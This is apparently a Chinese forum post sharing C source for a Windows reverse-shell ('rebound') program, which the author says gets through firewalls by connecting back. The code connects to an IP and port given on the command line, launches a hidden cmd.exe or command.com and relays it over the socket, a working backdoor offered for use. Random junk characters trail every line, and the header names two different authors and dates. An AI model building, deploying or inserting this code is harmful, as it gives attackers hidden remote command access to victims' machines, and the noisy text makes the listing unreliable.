这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 L' )(Zn1
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/* ============================== )c!f J7o:
Rebound port in Windows NT "iKK&%W
By wind,2006/7 +)F8YMg
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===============================*/ \ KPz
#include kPxrI=
#include %Ajf|Go0/G
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#pragma comment(lib,"wsock32.lib") hz/5k%%UX
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void OutputShell(); !AMPA*
SOCKET sClient; j5RMS V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 20Rgw
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void main(int argc,char **argv) GN{.R7
{ */qv}
WSADATA stWsaData; K1C#
int nRet; 9PGSr4V1
SOCKADDR_IN stSaiClient,stSaiServer; ]IoS-)$Z/
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if(argc != 3) 7aU*7!U
{ 1Ju{IEV
printf("Useage:\n\rRebound DestIP DestPort\n"); }LE/{]A
return; $U6)km4
} gmM79^CEF
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WSAStartup(MAKEWORD(2,2),&stWsaData); G.BqT\ o'
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S]9xqiJW
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stSaiClient.sin_family = AF_INET; ,R]7{7$
stSaiClient.sin_port = htons(0); aFbA=6
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); E.BMm/WH
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k!!o!r BS
{ L1 J"_.=P
printf("Bind Socket Failed!\n"); T{ojla(
return; mH8"k+k
} }t-{,0
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stSaiServer.sin_family = AF_INET; kdv>QZ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [g%oo3`A
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /*8"S mte
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '\\J95*`
{ 4w\')@`[jk
printf("Connect Error!"); J
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return; 0t<TZa]V
} Qg4qjX](?
OutputShell(); f^',J@9@
} qf'uXH
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void OutputShell() Gm_Cq2PD(
{ |)0kvf?
char szBuff[1024]; m 'a3}vRV(
SECURITY_ATTRIBUTES stSecurityAttributes; k%.IIVRx
OSVERSIONINFO stOsversionInfo; &"25a[x{B
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &%FpNU9
STARTUPINFO stStartupInfo; t\'URpa+5%
char *szShell; VFRUiz/C
PROCESS_INFORMATION stProcessInformation; QQ pe.oF
unsigned long lBytesRead; ;ML21OjgN
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); XN??^1{J}]
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); o-49o5:1
stSecurityAttributes.lpSecurityDescriptor = 0; v vOG]2z
stSecurityAttributes.bInheritHandle = TRUE; mKn:EqA
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); cgml^k\k^
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LzP+l>m
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0o c5ahp
stStartupInfo.wShowWindow = SW_HIDE; 1VH7z
stStartupInfo.hStdInput = hReadPipe; f)/Yru. ;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
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GetVersionEx(&stOsversionInfo); [gx6e 44
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switch(stOsversionInfo.dwPlatformId) 1s/t}J~zZ
{ eG =Hyc
case 1: 48W$,
szShell = "command.com"; M qFuZg
break; %?@N-$j
default: hZ[,.
szShell = "cmd.exe"; jgK8} C
break; /X9K g
} v[A)r]"j"M
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :I[nA?d[&
R %aed>zo
send(sClient,szMsg,77,0); h3[^uYe
while(1) s\@RJ[(<
{ fX^<H_1$G
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PuYAoKG
if(lBytesRead) )7f;FWI
{ DQui7dr)l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @FO=0_;y
send(sClient,szBuff,lBytesRead,0); PFq1Zai}n|
} o9*}>J<+RQ
else 8eGq.+5G
{ CC"}aV5
lBytesRead=recv(sClient,szBuff,1024,0); bvzNur_
if(lBytesRead<=0) break; `n)e]
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `#Z=cq^_
} <A@}C+
} RrA9@95+
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return; !Pd@0n4
}